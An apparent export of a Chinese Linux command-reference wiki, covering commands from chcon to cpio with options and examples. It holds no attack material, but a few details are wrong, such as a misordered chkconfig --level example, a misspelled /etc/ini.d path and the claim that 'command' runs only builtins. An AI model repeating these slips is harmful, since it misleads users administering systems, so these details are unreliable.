    ** undeletable (u)
!!简介
:<div>
chcon
===

修改对象(文件)的安全上下文

</div>

!! 补充说明

:<div>


"chcon命令" 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon`。

</div>

!! 语法  

:<div>


```
chcon [选项]... 环境 文件...
chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件...
chcon [选项]... --reference=参考文件 文件...
```

</div>

!! 选项  

:<div>


```
-h, --no-dereference:影响符号连接而非引用的文件。
    --reference=参考文件:使用指定参考文件的安全环境,而非指定值。
-R, --recursive:递归处理所有的文件及子目录。
-v, --verbose:为处理的所有文件显示诊断信息。
-u, --user=用户:设置指定用户的目标安全环境。
-r, --role=角色:设置指定角色的目标安全环境。
-t, --type=类型:设置指定类型的目标安全环境。
-l, --range=范围:设置指定范围的目标安全环境。
```

以下选项是在指定了`-R`选项时被用于设置如何穿越目录结构体系。如果您指定了多于一个选项,那么只有最后一个会生效。

```
-H:如果命令行参数是一个通到目录的符号链接,则遍历符号链接。
-L:遍历每一个遇到的通到目录的符号链接。
-P:不遍历任何符号链接(默认)。
--help:显示此帮助信息并退出。
--version:显示版本信息并退出。
```

</div>

!! 实例  

:<div>


如果你想把这个ftp共享给匿名用户的话,需要开启以下:

```
chcon -R -t public_content_t /var/ftp
```

如果你想让你设置的FTP目录可以上传文件的话,SELINUX需要设置:

```
chcon -t public_content_rw_t /var/ftp/incoming
```

允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:

```
setsebool -P httpd_enable_homedirs 1
chcon -R -t httpd_sys_content_t ~user/public_html
```

如果你希望将samba目录共享给其他用户,你需要设置:

```
chcon -t samba_share_t /directory
```

共享rsync目录时:

```
chcon -t public_content_t /directories
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!01. 概述
''chfn''命令用来改变finger命令显示的信息。这些信息都存放在/etc目录里的passwd文件里。若不指定任何选项,则chfn命令会进入问答式界面

!02. 选项
:<pre>
-f<真实姓名>或--full-name<真实姓名>:设置真实姓名;
-h<家中电话>或--home-phone<家中电话>:设置家中的电话号码;
-o<办公地址>或--office<办公地址>:设置办公室的地址;
-p<办公电话>或--office-phone<办公电话>:设置办公室的电话号码;
-u或--help:在线帮助;
-v或-version:显示版本信息。
</pre>
* help<pre>

[[chgrp]]
        chgrp [OPTION]... GROUP FILE...
        chgrp [OPTION]... --reference=RFILE FILE...
        -R 递归
<pre>

''chkconfig''命令检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务,其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接

!01. 选项

:<pre>

```
--add:增加所指定的系统服务,让chkconfig指令得以管理它,并同时在系统启动的叙述文件内增加相关数据;
--del:删除所指定的系统服务,不再由chkconfig指令管理,并同时在系统启动的叙述文件内删除相关数据;
--level<等级代号>:指定读系统服务要在哪一个执行等级中开启或关毕。
```
;等级代号列表:
```
等级0表示:表示关机
等级1表示:单用户模式
等级2表示:无网络连接的多用户命令行模式
等级3表示:有网络连接的多用户命令行模式
等级4表示:不可用
等级5表示:带图形界面的多用户模式
等级6表示:重新启动
需要说明的是,level选项可以指定要查看的运行级而不一定是当前运行级。对于每个运行级,只能有一个启动脚本或者停止脚本。当切换运行级时,init不会重新启动已经启动的服务,也不会再次去停止已经停止的服务。
```
;运行级文件:

每个被chkconfig管理的服务需要在对应的init.d下的脚本加上两行或者更多行的注释。
第一行告诉chkconfig缺省启动的运行级以及启动和停止的优先级。如果某服务缺省不在任何运行级启动,那么使用-代替运行级。
第二行对服务进行描述,可以用\跨行注释。

例如random.init包含三行:

```bash
# chkconfig: 2345 20 80
# description: Saves and restores system entropy pool for \
# higher quality random number generation.
```
</pre>

!02.实例

<pre>

```bash
chkconfig --list             #列出所有的系统服务。
chkconfig --add httpd        #增加httpd服务。
chkconfig --del httpd        #删除httpd服务。
chkconfig --level httpd 2345 on        #设置httpd在运行级别为2、3、4、5的情况下都是on(开启)的状态。
chkconfig --list               #列出系统所有的服务启动情况。
chkconfig --list mysqld        #列出mysqld服务设置情况。
chkconfig --level 35 mysqld on #设定mysqld在等级3和5为开机运行服务,--level 35表示操作只在等级3和5执行,on表示启动,off表示关闭。
chkconfig mysqld on            #设定mysqld在各等级为on,“各等级”包括2、3、4、5等级。
```
;如何增加一个服务:

```bash
#01. 服务脚本必须存放在/etc/ini.d/目录下;
chkconfig --add servicename
#在chkconfig工具服务列表中增加此服务,此时服务会被在/etc/rc.d/rcN.d中赋予K/S入口了;
chkconfig --level 35 mysqld on
#修改服务的默认启动等级。
```
</pre>
`chmod [OPTION]... OCTAL-MODE FILE...`
<pre>
    -R: 递归修改权限
    -X: 只给目录添加执行权限
</pre>

* 备份权限 预防chmod -R 

* 搜索可行性权限文件 防止 chmod -R a+x
''chown''命令改变某个文件或目录的所有者和所属的组,该命令可以向某个用户授权,使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D,用户组可以是组名或组id。文件名可以使由空格分开的文件列表,在文件名中可以包含通配符。

!选项
    * -c或——changes:效果类似“-v”参数,但仅回报更改的部分;
    * -f或--quite或——silent:不显示错误信息;
    * -h或--no-dereference:只对符号连接的文件作修改,而不更改其他任何相关文件;
    * -R或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
    * -v或——version:显示指令执行过程;
    * --dereference:效果和“-h”参数相同;
    * --help:在线帮助;
    * --reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同;
    * --version:显示版本信息。
!!简介
:<div>
chpasswd
===

批量更新用户口令的工具

</div>

!! 补充说明

:<div>


"chpasswd命令" 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。

</div>

!! 语法  

:<div>


```
chpasswd(选项)
```

</div>

!! 选项  

:<div>


```
-e:输入的密码是加密后的密文;
-h:显示帮助信息并退出;
-m:当被支持的密码未被加密时,使用MD5加密代替DES加密。
```

</div>

!! 实例  

:<div>


先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令:

```
chpasswd < user.txt
```

以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
chroot
===

把根目录换成指定的目的目录

</div>

!! 补充说明

:<div>


"chroot命令" 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以`/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为`/`位置。

在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,因此它带来的好处大致有以下3个:

 "增加了系统的安全性,限制了用户的权力:" 

在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。这个一般是在登录 (login) 前使用 chroot,以此达到用户不能访问一些特定的文件。

 "建立一个与原系统隔离的系统目录结构,方便用户的开发:" 

使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。

 "切换系统的根目录位置,引导 Linux 系统启动以及急救系统等:" 

chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。

</div>

!! 语法  

:<div>


```
chroot(选项)(参数)
```

</div>

!! 选项  

:<div>


```
--help:在线帮助;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


*   目录:指定新的根目录;
*   指令:指定要执行的指令。

</div>

!! 实例  

:<div>


 "将target作为根目录(运行其中的`/bin/sh`):" 

```
chroot target /bin/sh
```

这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样,将会进入一个shell界面,这个shell以target为根。运行exit退出该shell又返回原来的本机环境了,也可以使用Ctrl+D。

注意:

*   根用户才行
*   如果直接chroot target默认寻找target的/bin/bash.这会以target作为根目录

将target作为根目录(运行其中的`/bin/ls`):

```
chroot target /bin/ls
```

这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样运行的是target中的ls(不是本机的`/bin/ls`),然后返回立即本机的目录环境。

注意,自己在本地编译一个程序生成a.out之后,拷进`target/bin/`中这样运行却不行,因为它包含了动态连接的库,需要用ldd查看a.out需要那些动态库,将这些库拷贝到新根的对应路径下才能执行。

 "用chroot运行自己编译的一个程序:" 

准备chroot的根目录:

```
mkdir newRoot
```

编译自己的程序:

```
gcc main.c
```

这里main.c生成a.out,功能是输出hello。

查看程序需要的库:

```
ldd a.out
```

输入之后,输出如下:

```
linux-gate.so.1 = &gt;  (0xb8034000)
libc.so.6 = &gt; /lib/tls/i686/cmov/libc.so.6 (0xb7eab000)
/lib/ld-linux.so.2 (0xb801a000)
```

将程序需要的库和程序拷贝到新根目录下:

```
cp a.out newRoot
mkdir newRoot/lib
cp /lib/tls/i686/cmov/libc.so.6 newRoot/lib
cp /lib/ld-linux.so.2 newRoot/lib
```

这里newRoot内容将如下:

```
a.out lib/
```

使用chroot运行自己的程序:

```
su
chroot newRoot /a.out
```

这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的`/bin/busybox`就没有依赖其他库。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
chsh
===

用来更换登录系统时使用的shell

</div>

!! 补充说明

:<div>


"chsh命令" 用来更换登录系统时使用的shell。若不指定任何参数与用户名称,则chsh会以应答的方式进行设置。

</div>

!! 语法  

:<div>


```
chsh(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-s<shell 名称>或--shell<shell 名称>:更改系统预设的shell环境。;
-l或--list-shells:列出目前系统可用的shell清单;
-u或--help:在线帮助;
-v或-version:显示版本信息。
```

</div>

!! 参数  

:<div>


用户名:要改变默认shell的用户。

</div>

!! 实例  

:<div>


 "查看系统安装了哪些shell的两种方法:" 

第一种:

```
[rocrocket@localhost ~]$ chsh -l
/bin/sh
/bin/bash
/sbin/nologin
/bin/zsh
```

第二种:

```
[rocrocket@localhost ~]$ cat /etc/shells
/bin/sh
/bin/bash
/sbin/nologin
/bin/zsh
```

其实`chsh -l`也是来查看这个文件。

 "查看当前正在使用的shell:" 

```
[rocrocket@localhost ~]$ echo $SHELL
/bin/bash
```

注意SHELL一定要是大写。可以看到,目前使用的shell是`/bin/bash`

 "把我的shell改成zsh:" 

```
[rocrocket@localhost ~]$ chsh -s /bin/zsh
Changing shell for rocrocket.
Password:
Shell changed.
[rocrocket@localhost ~]$
```

使用chsh加选项`-s`就可以修改登录的shell了!你会发现你现在执行`echo $SHELL`后仍然输出为`/bin/bash`,这是因为你需要重启你的shell才完全投入到zsh怀抱中去。`chsh -s`其实修改的就是`/etc/passwd`文件里和你的用户名相对应的那一行。现在来查看下:

```
[rocrocket@localhost ~]$ cat /etc/passwd|grep ^rocrocket
rocrocket:x:500:500:rocrocket,China:/rocrocket/PSB/home:/bin/zsh
```

你可以发现输出内容的最后部分已经变成了`/bin/zsh`了,下次重启的时候,linux就会读取这一命令来启动shell了!

 "把shell修改回/bin/bash:" 

```
[rocrocket@localhost ~]$ chsh -s /bin/bash
Changing shell for rocrocket.
Password:
Shell changed.
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!01. 概述
''cksum''命令是检查文件的CRC是否正确,确保文件从一个系统传输到另一个系统的过程中不被损坏。这种方法要求校验和在源系统中被计算出来,在目的系统中又被计算一次,两个数字进行比较,如果校验和相等,则该文件被认为是正确传输了。

注意:CRC是指一种排错检查方法,即循环冗余校验法。

指定文件交由cksum命令进行校验后,会返回校验结果供用户核对文件是否正确无误。若不指定任何文件名称或是所给予的文件名为"-",则cksum命令会从标准输入设备中读取数据。


!2. 实例
使用cksum命令计算文件"testfile1"的完整性,输入如下命令:

```bash
cksum testfile1            #对指定文件进行CRC校验
#以上命令执行后,将输出校验码等相关的信息,具体输出信息如下所示:

1263453430 78 testfile1     #输出信息
#上面的输出信息中,"1263453430"表示校验码,"78"表示字节数。
```
注意:如果文件中有任何字符被修改,都将改变计算后CRC校验码的值。
!!简介
:<div>
clear
===

清除当前屏幕终端上的任何信息

</div>

!! 补充说明

:<div>


"clear命令" 用于清除当前屏幕终端上的任何信息。

</div>

!! 语法  

:<div>


```
clear
```

</div>

!! 实例  

:<div>


直接输入clear命令当前终端上的任何信息就可被清除。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
clock
===

用于调整 RTC 时间。

</div>

!! 补充说明

:<div>


"clock命令"用于调整 RTC 时间。 RTC 是电脑内建的硬件时间,执行这项指令可以显示现在时刻,调整硬件时钟的时间,将系统时间设成与硬件时钟之时间一致,或是把系统时间回存到硬件时钟。

</div>

!! 语法  

:<div>


```
clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"]
[--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version]
```

</div>

!! 选项  

:<div>


```
--adjust  第一次使用"--set"或"--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。
--debug  详细显示指令执行过程,便于排错或了解程序执行的情形。
--directisa  告诉clock指令不要通过/dev/rtc设备文件,直接对硬件时钟进行存取。这个参数适用于仅有ISA总线结构的老式电脑。
--getepoch  把系统核心内的硬件时钟新时代数值,呈现到标准输出设备。
--hctosys  Hardware Clock to System Time,把系统时间设成和硬件时钟一致。由于这个动作将会造成系统全面更新文件的存取时间,所以最好在系统启动时就执行它。
--set--date  设置硬件时钟的日期和时间。
--setepoch--epoch=<年份>  设置系统核心之硬件时钟的新时代数值,年份以四位树字表示。
--show  读取硬件时钟的时间,并将其呈现至标准输出设备。
--systohc  System Time to Hardware Clock,将系统时间存回硬件时钟内。
--test  仅作测试,并不真的将时间写入硬件时钟或系统时间。
--utc  把硬件时钟上的时间时为CUT,有时也称为UTC或UCT。
--version  显示版本信息。
```

</div>

!! 实例

:<div>


获取当前的时间

```bash
clock # 获取当前的时间
```

显示UTC时间

```bash
clock -utc #显示UTC时间
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
clockdiff
===

检测两台linux主机的时间差

</div>

!! 补充说明

:<div>


在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 "clockdiff" 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。

</div>

!! 选项  

:<div>


```
-o:使用IP时间戳选项来测量系统时间差。时间戳只用3个。
-o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差。
```

</div>

!! 实例  

:<div>


```
lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1
PING www.ustc.edu.cn (202.38.64.9) 56(124) bytes of data.
64 bytes from 202.38.64.9: icmp_seq=1 ttl=62 time=0.823 ms
TS:     lixi-desktop.local (210.45.74.25)    12522473 absolute
    210.45.74.1    -251
    local-gw.ustc.edu.cn (202.38.64.126)    248
    202.38.64.9    -857514
Unrecorded hops: 3

--- www.ustc.edu.cn ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.823/0.823/0.823/0.000 ms
```

首先由上面的得出在RRT不大的时候,几个ICMP时间戳的关系。本地主机和202.38.64.9之间的时间差约为:-857514+248-251=-857517。分别用-o(IP选项中时间戳)和不带选项(ICMP路由时间戳)上述路由的系统时间进行测试。得到的结果:

```
lixi@lixi-desktop:~# ./clockdiff -o 202.38.64.9  
..................................................
host=202.38.64.9 rtt=1(0)ms/1ms delta=-857517ms/-857517ms Wed Dec 17 11:28:30 2008
```

```
lixi@lixi-desktop:~# ./clockdiff 202.38.64.9
.
host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:35 2008
```

两种方法测试的都比较准确。

```
lixi@lixi-desktop:~#./clockdiff gigagate1.Princeton.EDU
..................................................
host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:50:16 2008
```

上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
{{bash_head}}

```bash
function mktemp(){
  filename=$1
  range=2
  let rfn=$RANDOM%${range}
  i=0
  while [ -f ${filename}${rfn}.tmp ];do
    unset rfn
    let rfn=$RANDOM%${range}
    if ((${i}>${range}));then
      let range=2*${range}
    fi
    let i++
  done
  touch ${filename}${rfn}.tmp
  echo ${filename}${rfn}.tmp
}

function test_mktemp(){
  max=$2
  for ((j=0;j<max;j++));do
    mktemp $1
  done
}
```
             (4)很多应用程序会自带帮助文档:/usr/share/doc/APP-VERSION

                    README:程序的相关的信息

                    INSTALL:安装帮助

                    CHANGES:版本迭代时的改动信息;
<$macrocall
	$name="toc-tabbed-internal-nav"
	tag="cmd-set"
	selectedTiddler="$:/temp/toc/selectedTiddler"
	unselectedText="<p>在目录中选择一个主题。 点击箭头展开主题。</p>"
	missingText="<p>失踪的条目。</p>"
/>
!!简介
:<div>
cmp
===

比较两个文件是否有差异

</div>

!! 补充说明

:<div>


"cmp命令" 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时,则该指令不会显示任何信息。若发现有差异,预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”,则cmp指令会从标准输入设备读取数据。

</div>

!! 语法  

:<div>


```
cmp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c或--print-chars:除了标明差异处的十进制字码之外,一并显示该字符所对应字符;
-i<字符数目>或--ignore-initial=<字符数目>:指定一个数目;
-l或——verbose:标示出所有不一样的地方;
-s或--quiet或——silent:不显示错误信息;
-v或——version:显示版本信息;
--help:在线帮助。
```

</div>

!! 参数  

:<div>


目录:比较两个文件的差异。

</div>

!! 实例  

:<div>


使用cmp命令比较文件"testfile"和文件"testfile1"两个文件,则输入下面的命令:

```
cmp testfile testfile1            #比较两个指定的文件
```

在上述指令执行之前,使用cat命令查看两个指定的文件内容,如下所示:

```
cat testfile                    #查看文件内容  
Absncn 50                       #显示文件“testfile”  
Asldssja 60  
Jslkadjls 85 

cat testfile1                   #查看文件内容  
Absncn 50                       #显示文件“testfile1”  
AsldssjE 62  
Jslkadjls 85  
```

然后,再执行cmp命令,并返回比较结果,具体如下所示:

```
cmp testfile testfile1       #比较两个文件  
testfile testfile1           #有差异:第8字节,第2行  
```

注意:在比较结果中,只能够显示第一比较结果。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<<<
col命令是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符>和>>,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符。

<<<



* col 过滤控制字符
    ** -b:过滤掉所有的控制字符,包括RLF和HRLF;
    ** -f:滤掉RLF字符,但允许将HRLF字符呈现出来;
    ** -x:以多个空格字符来表示跳格字符;
    ** -l<缓冲区列数>:预设的内存缓冲区有128列,用户可以自行指定缓冲区的大小。
!!简介
:<div>
colrm
===

删除文件中的指定列

</div>

!! 补充说明

:<div>


"colrm命令" 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行。

</div>

!! 语法  

:<div>


```
colrm(参数)
```

</div>

!! 参数  

:<div>


*   起始列号:指定要删除的指定列;
*   结尾列号:指定要删除的结尾列。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
comm
===

两个文件之间的比较

</div>

!! 补充说明

:<div>


"comm命令" 可以用于两个文件之间的比较,它有一些选项可以用来调整输出,以便执行交集、求差、以及差集操作。

*   交集:打印出两个文件所共有的行。
*   求差:打印出指定文件所包含的且不相同的行。
*   差集:打印出包含在一个文件中,但不包含在其他指定文件中的行。

</div>

!! 语法  

:<div>


```bash
comm [选项]... 文件1 文件2
```

</div>

!! 选项  

:<div>


```
如果不附带选项,程序会生成三列输出。
第一列包含文件1 特有的行,
第二列包含文件2 特有的行,
而第三列包含两个文件共有的行。

  -1    不输出文件1 特有的行
  -2    不输出文件2 特有的行
  -3    不输出两个文件共有的行

--check-order     检查输入是否被正确排序,即使所有输入行均成对
--nocheck-order   不检查输入是否被正确排序
--output-delimiter=STR  依照STR 分列
```

</div>

!! 参数  

:<div>


* 文件1:指定要比较的第一个"有序"文件;
* 文件2:指定要比较的第二个"有序"文件。

</div>

!! 实例  

:<div>


文本 `aaa.txt` 内容

```
[root@localhost text]# cat aaa.txt 
aaa
bbb
ccc
ddd
eee
111
222
```

文本 `bbb.txt` 内容

```
[root@localhost text]# cat bbb.txt 
bbb
ccc
aaa
hhh
ttt
jjj
```

两个文件之间的比较,如果没有排序需要带上`--nocheck-order`参数, 没有带上参数将会收到提示,此命令重要之功能在于比较。

```bash
comm: 文件2 没有被正确排序
comm: 文件1 没有被正确排序
```

比较结果

```
[root@localhost text]# comm --nocheck-order aaa.txt bbb.txt 
aaa
                bbb
                ccc
        aaa
ddd
eee
111
222
        hhh
        ttt
        jjj
第一列  第二列  第三列
```

输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列是以制表符(\t)作为定界符。

</div>

!! 有序比较

:<div>


有序比较,先通过 sort 将文件内容排序

```
[root@localhost ~]# sort aaa.txt > aaa1.txt
[root@localhost ~]# sort bbb.txt > bbb1.txt
```

有序比较结果:

```
[root@localhost ~]# comm aaa1.txt bbb1.txt
111
222
		aaa
		bbb
		ccc
ddd
eee
	hhh
	jjj
	ttt
```

</div>

!! 交集

:<div>


打印两个文件的交集,需要删除第一列和第二列:

```
[root@localhost text]# comm aaa.txt bbb.txt -1 -2
bbb
ccc
```

"求差" 

打印出两个文件中不相同的行,需要删除第三列:

```
[root@localhost text]# comm aaa.txt bbb.txt -3 | sed 's/^\t//'
aaa
aaa
ddd
eee
111
222
hhh
ttt
jjj
```

`sed 's/^\t//'` 是将制表符`\t`删除,以便把两列合并成一列。

</div>

!! 差集

:<div>


通过删除不需要的列,可以得到aaa.txt和bbb.txt的差集:

aaa.txt的差集

```
[root@localhost text]# comm aaa.txt bbb.txt -2 -3
aaa
ddd
eee
111
222
```

bbb.txt的差集

```
[root@localhost text]# comm aaa.txt bbb.txt -1 -3
aaa
hhh
ttt
jjj
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
command
===

调用并执行指定的命令

</div>

!! 补充说明

:<div>


"command命令" 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令。

</div>

!! 语法  

:<div>


```
command(参数)
```

</div>

!! 参数  

:<div>


指令:需要调用的指令及参数。

</div>

!! 实例  

:<div>


使用command命令调用执行`echo Linux`,输入如下命令:

```
command echo Linux            #调用执行shell内部指令
```

上面的命令执行后,将调用执行命令`echo Linux`,其执行结果如下:

```
Linux
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
compress
===

使用Lempress-Ziv编码压缩数据文件

</div>

!! 补充说明

:<div>


"compress命令" 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成。

</div>

!! 语法  

:<div>


```
compress(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:不提示用户,强制覆盖掉目标文件;
-c:将结果送到标准输出,无文件被改变;
-r:递归的操作方式;
-b<压缩效率>:压缩效率是一个介于9~16的数值,预设值为"16",指定愈大的数值,压缩效率就愈高;
-d:对文件进行解压缩而非压缩;
-v:显示指令执行过程;
-V:显示指令版本及程序预设值。
```

</div>

!! 参数  

:<div>


文件:指定要压缩的文件列表。

</div>

!! 实例  

:<div>


将`/etc/man.config`复到`/tmp` ,并加以压缩

```
[root@localhost ~]# cd /tmp
[root@localhost tmp]# cp /etc/man.config .
[root@localhost tmp]# compress man.config
[root@localhost tmp]# ls -l
```

```
-rw-r--r-- 1 root root 2605 Jul 27 11:43 man.config.Z
```

将刚刚的压缩档解开

```
[root@localhost tmp]# compress -d man.config.Z
```

将 man.config 压缩成另外一个文件来备份

```
[root@localhost tmp]# compress -c man.config > man.config.back.Z
[root@localhost tmp]# ll man.config*
```

```
-rw-r--r-- 1 root root 4506 Jul 27 11:43 man.config
-rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z
```

这个`-c`的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
consoletype
===

输出已连接的终端类型

</div>

!! 补充说明

:<div>


"consoletype命令" 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端。

</div>

!! 语法  

:<div>


```
consoletype
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# consoletype
pty
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;循环控制语句
:<pre>

```bash
#!/bin/bash
 
m=1
for (( i=1; i < 100; i++ ))
do
    let "temp1=i%7"         #被7整除
 
    if [ "$temp1" -ne 0 ]
    then
        continue
    fi
    
    echo -n "$i  "
    
    let "temp2=m%7"          #7个数字换一行
    
    if  [ "$temp2" -eq 0 ]
    then
        echo ""
    fi
    
    let "m++"
done

```
</pre>
!!简介
:<div>
convertquota
===

把老的配额文件转换为新的格式

</div>

!! 补充说明

:<div>


"convertquota命令" 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。

</div>

!! 语法  

:<div>


```
convertquota(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-u:仅转换用户磁盘配额数据文件;
-g:仅转换组磁盘配额数据文件;
-f:将老的磁盘配额文件转换为新的格式;
-e:将新的文件格式从大字节序换为小字节序。
```

</div>

!! 参数  

:<div>


文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。

</div>

!! 实例  

:<div>


使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件。在命令行中输入下面的命令:

```
convertquota -u /data     //转换文件系统"/data"上的用户磁盘配额文件
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!01. BSD && GNU
:<div>

```bash
#  BSD cp 的约定, 源目录后面带有一个斜杠“/”有着特定的处理。
# cp src/ dest == cp src/. dest
# GNU cp中"source" 与 "source/" 意义相同 (不是"source/.")。
```
</div>

!! 02. 选项
:<div>

```bash
# root 默认被alias
# 链接文件, 默认复制源文件
# -a 复制大部分权限信息
# -u 差异更新
# -v 显示过程
# -HR
# -HL 
```

比如,在 cp -HR source/ dest/ 中,如果 source/ 是symlink,那cp就会把symlink指向的原文件copy到 dest/,但是,对于 source/ 中包含的symlinks,仅仅copy 这些symlinks本身

而 cp -HL source/ dest/ 则不仅dereference command line中的source(symlink),还会对递归中遇到的所有symlinks进行dereference
</div>



!! 03. EXP 
:<div>



</div>
cpio
===

用来建立、还原备份档的工具程序



!! 说明

:<div>


"cpio命令" 主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。

</div>

!! 语法  

:<div>


```
cpio(选项)
```

</div>

!! 选项  

:<div>


```
-0或--null:接受新增列控制字符,通常配合find指令的“-print0”参数使用;
-a或--rest-access-time:重新设置文件的存取时间;
-A或--append:附加到已存在的备份文档中,且这个备份文档必须存放在磁盘上,而不能放置于磁带机里;
-b或--awap:此参数的效果和同时指定“-ss”参数相同;
-B:将输入/输出的区块大小改成5210Bytes;
-c:使用旧ASCII备份格式;
-C<区块大小>或--io-size=<区块大小>:设置输入/输出的区块大小,单位是Byte;
-d或--make-directories:如有需要cpio会自行建立目录;
-E<范本文件>或--pattern-file=<范本文件>:指定范本文件,其内含有一个或多个范本样式,让cpio解开符合范本条件的文件,格式为每列一个范本样式;
-f或--nonmatching:让cpio解开所有不符合范本条件的文件;
-F<备份档>或--file=<备份档>:指定备份档的名称,用来取代标准输入或输出,也能借此通过网络使用另一台主机的保存设备存取备份档;
-H<备份格式>:指定备份时欲使用的文件格式;
-i或--extract:执行copy-in模式,还原备份档;
-l<备份档>:指定备份档的名称,用来取代标准输入,也能借此通过网络使用另一台主机的保存设备读取备份档;
-k:此参数将忽略不予处理,仅负责解决cpio不同版本间的兼容性问题;
-l或--link:以硬连接的方式取代复制文件,可在copy-pass模式下运用;
